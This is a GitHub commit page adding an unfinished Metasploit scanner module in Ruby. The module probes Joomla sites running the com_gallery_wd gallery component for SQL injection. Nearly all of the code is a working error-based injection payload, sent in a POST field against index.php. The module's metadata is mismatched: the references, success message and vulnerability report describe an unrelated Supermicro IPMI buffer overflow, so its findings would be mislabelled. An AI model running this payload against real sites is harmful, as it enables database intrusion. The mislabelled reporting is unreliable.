Skip to content

Commit de2bf01

Browse files
committed
add first pass at gallerywd sqli scanner
1 parent ef8c0aa commit de2bf01

File tree

1 file changed

+103
-0
lines changed

1 file changed

+103
-0
lines changed
Lines changed: 103 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'uri'
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => '',
18+
'Description' => %q{
19+
},
20+
'Author' =>
21+
[
22+
],
23+
'License' => MSF_LICENSE,
24+
'References' =>
25+
[
26+
[ 'CVE', '2013-3621' ],
27+
[ 'CVE', '2013-3623' ],
28+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities']
29+
],
30+
'DisclosureDate' => 'Nov 06 2013'))
31+
32+
end
33+
34+
def run_host(ip)
35+
36+
left_marker = Rex::Text.rand_text_alpha(5)
37+
right_marker = Rex::Text.rand_text_alpha(5)
38+
flag = Rex::Text.rand_text_alpha(5)
39+
40+
vprint_status("#{peer} - Checking host")
41+
42+
res = send_request_cgi({
43+
'uri' => normalize_uri(target_uri.path, 'index.php'),
44+
'method' => 'POST',
45+
'vars_get' => {
46+
'option' => 'com_gallery_wd',
47+
'view' => 'gallerybox',
48+
'image_id' => '-1',
49+
'gallery_id' => '-1',
50+
'thumb_width' => '180',
51+
'thumb_height' => '90',
52+
'open_with_fullscreen' => 0,
53+
'image_width' => 800,
54+
'image_height' => 500,
55+
'image_effect' => 'fade',
56+
'sort_by' => 'order',
57+
'order_by' => 'asc',
58+
'enable_image_filmstrip' => '',
59+
'image_filmstrip_height' => 0,
60+
'enable_image_ctrl_btn' => 1,
61+
'enable_image_fullscreen' => 1,
62+
'popup_enable_info' => 1,
63+
'popup_info_always_show' => 0,
64+
'popup_hit_counter' => 0,
65+
'popup_enable_rate' => 0,
66+
'slideshow_interval' => 5,
67+
'enable_comment_social' => '',
68+
'enable_image_facebook' => '',
69+
'enable_image_twitter' => '',
70+
'enable_image_google' => '',
71+
'enable_image_pinterest' => '',
72+
'enable_image_tumblr' => '',
73+
'watermark_type' => 'none'
74+
},
75+
'vars_post' => {
76+
'image_id' => "1 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)",
77+
'rate' => '',
78+
'ajax_task' => 'save_hit_count',
79+
'task' => 'gallerybox.ajax_search'
80+
}
81+
})
82+
83+
unless res && res.body
84+
vprint_error("#{peer} - Server did not respond in an expected way")
85+
return
86+
end
87+
88+
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
89+
90+
if result
91+
print_good("#{peer} - Vulnerable to CVE-2013-3623 (close_window.cgi Buffer Overflow)")
92+
report_vuln({
93+
:host => rhost,
94+
:port => rport,
95+
:proto => 'tcp',
96+
:name => "Supermicro Onboard IPMI close_window.cgi Buffer Overflow",
97+
:refs => self.references.select { |ref| ref.ctx_val == "2013-3623" }
98+
})
99+
end
100+
101+
end
102+
103+
end

0 commit comments

Comments
 (0)